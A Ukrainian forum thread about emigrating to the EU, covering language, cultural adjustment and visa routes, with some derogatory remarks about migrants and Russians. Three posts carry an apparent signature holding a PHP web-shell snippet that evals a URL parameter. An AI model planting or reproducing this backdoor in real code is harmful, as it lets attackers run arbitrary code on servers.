1

Тема: Скільки коштує з’їхати в яку-небудь благополучну країну ЄС?

Може хтось цікавився?

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

2

Re: Скільки коштує з’їхати в яку-небудь благополучну країну ЄС?

Куди б ви не поїхали, всюди будуть свої проблеми. Не дарма жодна поширена релігія світу не обіцяє раю на землі. Тобто гарантує кожному нескінченний потік проблем аж до самої смерті.

3

Re: Скільки коштує з’їхати в яку-небудь благополучну країну ЄС?

Так. Але десь краще десь гірше.
Сумніваюся, що релігії не обіцяють раю на Землі саме через відмінність умов в різних регіонах.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

4

Re: Скільки коштує з’їхати в яку-небудь благополучну країну ЄС?

Краще в чому? Комфортніше? Мабуть десь дійсно комфортніше, але там будуть свої проблеми.
Ну скажімо як у вас з расизмом? Ви готові до того, що навколо вас будуть переважно представники інших рас? В Україні такого нема, у нас відсоток людей з іншим кольором шкіри дуже незький і саме через це у нас немає з цим проблем. Але варто українцеві трохи пожити, скажімо, в Москві, серед усіляких Равшанів і Джумшутів, і ставлення різко змінюється. Цілком нормальна, в минулому, людина починає їх люто ненавидіти, й сама не знає за що. А геї, а товстуни?
Або підійдемо з іншого боку. Чи зможете ви цілком відмовитися від української мови? І як при цьому почуватиметеся?
Правду люди кажуть: "Краще там, де нас нема".

5

Re: Скільки коштує з’їхати в яку-небудь благополучну країну ЄС?

http://swinomatka.wordpress.com/2013/04 … %8F%D0%BA/

Подякували: Invader, 0xDADA11C7, bunyk3

6

Re: Скільки коштує з’їхати в яку-небудь благополучну країну ЄС?

Отже ваш аргумент в тому що скрізь є свої проблеми і тому краще залишатися там де ти зараз є незважаючи на те що проблем в іншому місці може бути менше, вони можуть бути не такими суттєвими (для конкретної людини), переваги переважують недоліки.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

7

Re: Скільки коштує з’їхати в яку-небудь благополучну країну ЄС?

Invader написав:

незважаючи на те що проблем в іншому місці може бути менше, вони можуть бути не такими суттєвими (для конкретної людини), переваги переважують недоліки.

Особисто я у це не вірю. У кожної дії є свої плюси й мінуси, але в загальному їх "сума" завжди "дорівнює нулю".

8

Re: Скільки коштує з’їхати в яку-небудь благополучну країну ЄС?

Хтось казав:

Хочеш змінити країну - почни з себе

Подякували: Torbins1

9

Re: Скільки коштує з’їхати в яку-небудь благополучну країну ЄС?

Якого саме благополуччя ви бажаєте? Я цікавився поляками та польською культурою (масовою) і скажу чесно, що українці ґіґанти мислєй. Безперечно, відсутність в Україні прошарку середнього класу дається взнаки і в поляків є багато такого, що варто переймати, я навіть хочу вивчити польську мову (поки вуха в’януть од того пшекання). Але я зробив для себе висновок - нормальна національна держава, що ґрунтується на соціал-демократичних засадах ще не робить її мешканців розумнішими.

Ну скажімо як у вас з расизмом? Ви готові до того, що навколо вас будуть переважно представники інших рас?

Ви самі чудово розумієте, що не в кольорі шкіри питання, а в культурних розбіжностях.

В Україні такого нема, у нас відсоток людей з іншим кольором шкіри дуже незький і саме через це у нас немає з цим проблем.

Угу, руССкая вєсна це не етнічні проблеми. Одне тішить моє серце, що хохли прозрівають.

А геї, а товстуни?

Справжня проблема не в меншинах, а привілейованих меншинах. Мені й українські привілейовані меншини не подобаються.

Або підійдемо з іншого боку. Чи зможете ви цілком відмовитися від української мови? І як при цьому почуватиметеся?

Чого одразу "цілком" відмовитися? Людина питає про ЄС, а не Північну Корею. Громадянські свободи ніхто не скасовує.
Припустимо, що я переїду у Білорусь і буду скрізь балакаць па-тутэйшаму, праз год мяне будзе немагчыма адрозніць ад беларуса. Буду адчуваць добра, бо культурнай разьніцы амаль няма. Толькі тут я "бандэравец", а там буду "змагар". Тое самае з палякамі. Ну скажу я па-польску "Że na drzewach zamiast liści, Będą wisieć komuniści! " Штосьці зменіцца ад гэтага? Цэнтральныя славяне маюць адну культуру, аднак шмат моваў моў і дыялектаў.

Говорила баба діду: «Я поїду к Білодіду, Ізучу двомовну мову І вернусь обратно знову». А дід бабі: «Не *изди, К Білодіду нєт їзди, — Туди не ходять поїзди»
Подякували: bunyk1

10

Re: Скільки коштує з’їхати в яку-небудь благополучну країну ЄС?

Torbins написав:
Invader написав:

незважаючи на те що проблем в іншому місці може бути менше, вони можуть бути не такими суттєвими (для конкретної людини), переваги переважують недоліки.

Особисто я у це не вірю. У кожної дії є свої плюси й мінуси, але в загальному їх "сума" завжди "дорівнює нулю".

Ну, якби всюди було однаково, то в Монако і в Антарктиду їхала б однакова кількість людей на одиницю площі :)

11

Re: Скільки коштує з’їхати в яку-небудь благополучну країну ЄС?

0xDADA11C7 написав:

Чого одразу "цілком" відмовитися? Людина питає про ЄС, а не Північну Корею.

Це тільки у слов'янських країнах мови схожі на Українську і їх можна непогано вивчити за пів-року просто спілкуючись з місцевими. А трохи на захід уже починаються романські мови.

koala написав:

Ну, якби всюди було однаково, то в Монако і в Антарктиду їхала б однакова кількість людей на одиницю площі :)

Щось я не чув, щоб у Монако люди почувалися щасливішими ніж мешканці Антарктиди.

12

Re: Скільки коштує з’їхати в яку-небудь благополучну країну ЄС?

Пара лінків в тему (мою тезу вони не підтверджують, але й не зовсім заперечують):
http://en.wikipedia.org/wiki/Satisfacti … Life_Index
http://en.wikipedia.org/wiki/Happy_Planet_Index

13

Re: Скільки коштує з’їхати в яку-небудь благополучну країну ЄС?

2009 Happy Planet Index  - 3тє місце   Jamaica =)

Щось я не чув, щоб у Монако люди почувалися щасливішими ніж мешканці Антарктиди.

Як на мене треба відслідковувати не щастя а міграцію. Раз поїхало дохріна людей в одну країну з іншої значить логіка така що в одній країні погано в іншій добре.

Всюди добре а дома найкраще ;)

14 Востаннє редагувалося 0xDADA11C7 (26.03.2014 15:35:56)

Re: Скільки коштує з’їхати в яку-небудь благополучну країну ЄС?

Torbins написав:
0xDADA11C7 написав:

Чого одразу "цілком" відмовитися? Людина питає про ЄС, а не Північну Корею.

Це тільки у слов'янських країнах мови схожі на Українську і їх можна непогано вивчити за пів-року просто спілкуючись з місцевими. А трохи на захід уже починаються романські мови.

Ви хочете сказати що держава підтримує українську мову? І в чому ж та підтримка полягає? Так, дозволено писати заяви мусорам українською мовою. А от навіть ЖКГ далеко не все українізоване. Може телевізійна реклама україномовна, а серіали вже масковскіє пра святих апрічніков - мєнтов, ГБістов, асвабадітєлєй всього, до чого тільки змогли дотягнутися. Єдиний плюс від нашої держави (на відміну від Білорусі), що за надмірне(!!) використання української ще не ув'язнюють. Щось не було чутно від Шевельова і Багряного про ущємлініє української мови на Онтарщині, НьюЙоркщині та Баварщині. Змінити мою думку може тільки якщо скажімо Буник/Реплейс/спілка "Гуртом"/тойХтоСтворюєКонтент заявить про те, що його підтримує держава. До речі, отой логотип до 200-річчя з дня народження Т.Г.Шевченка коштував державі 30 тис. гривень. І я нагадаю, що цей малюнок має розповідати про видатного художника (гравера в тому числі).

Говорила баба діду: «Я поїду к Білодіду, Ізучу двомовну мову І вернусь обратно знову». А дід бабі: «Не *изди, К Білодіду нєт їзди, — Туди не ходять поїзди»

15 Востаннє редагувалося Torbins (27.03.2014 00:27:31)

Re: Скільки коштує з’їхати в яку-небудь благополучну країну ЄС?

0xDADA11C7
??? Я мав на увазі, що українцеві значно легше вивчити якусь слов'янську мову, аніж одну з романських чи германських. Та й приємніше говорити мовою, яка хоч трохи нагадує рідну.

16 Востаннє редагувалося 0xDADA11C7 (27.03.2014 00:43:33)

Re: Скільки коштує з’їхати в яку-небудь благополучну країну ЄС?

Torbins
Мене просто здивувала думка про те, що переїхати в іншу країну означає цілком відмовитись від української. Я лише хотів показати, що мова живе не через державну підтримку, а скоріше всупереч обставинам.

Говорила баба діду: «Я поїду к Білодіду, Ізучу двомовну мову І вернусь обратно знову». А дід бабі: «Не *изди, К Білодіду нєт їзди, — Туди не ходять поїзди»

17

Re: Скільки коштує з’їхати в яку-небудь благополучну країну ЄС?

Про те, щоб закордоном спілкуватися українською, краще забудьте. Я проводив експеримент у Харкові. Із тими, кому легше російською, я говорив на російській, а з усіма іншими - на українській. Бували дні, коли я не вимовляв жодного українського слова. Закордоном буде іще гірше.

18

Re: Скільки коштує з’їхати в яку-небудь благополучну країну ЄС?

Із тими, кому легше російською, я говорив на російській, а з усіма іншими - на українській.

То ви хотіли і вашим і нашим, а мене коли росіяни просили перекласти російською слово "бавовняний" я відповідав "бававнЯный". І знаєте - майже всіх небажаних осіб розігнав, хоча питання було не в мові. Моя рідна говірка - щось середнє між степовим діалектом української і радянською російською. Кількість росіян в моєму місті зашкалює, та чи варто з тим кодлом балакати? Краще до синагоги піду :)

Говорила баба діду: «Я поїду к Білодіду, Ізучу двомовну мову І вернусь обратно знову». А дід бабі: «Не *изди, К Білодіду нєт їзди, — Туди не ходять поїзди»

19

Re: Скільки коштує з’їхати в яку-небудь благополучну країну ЄС?

0xDADA11C7
Ми зараз переїзд закордон обговорюємо. З ким ви будете говорити українською скажімо у Італії? Із купкою емігрантів, переважній більшості яких уже за 40? Можна звичайно відшукати собі компанію з-поміж української діаспори й там. Для цього, щоправда, доведеться вибирати собі велике місто, у якому живе багато українців. При цьому усе одно частина ваших друзів житиме в іншому районі міста. Плюс мало хто з них поділятиме ваші зацікавлення і вам доведеться обирати інші теми для спілкування.
В результаті отримуємо можливість поспілкуватися українською лише у компанії друзів, та й то не кожен вечір.

Подякували: 0xDADA11C71

20

Re: Скільки коштує з’їхати в яку-небудь благополучну країну ЄС?

І потім будете заходити на оцей форум і писати українською як я)

Питання переїзду не в грошах. А в цінності вас як жителя для тієї чи іншої країни. Якщо є досить великі суми, то фактично будь-яка країна дозволить відкрити в ній бізнес і відкриє вам бізнес візу як власнику. Якщо грошей не так багато, то найдешевшою в плані бізнес імміграції завжди була Словакія. Якщо брати професійну імміграцію, то колись в австріяк була програма яка давала можливість приїхати туди кваліфікованим працівникам на півроку для пошуку роботи. А взагалі якщо ви професіонал в якійсь справі спробуйте знайти роботодавця там де хочете жити, який погодиться оформити вам робочу візу.

Подякували: 0xDADA11C71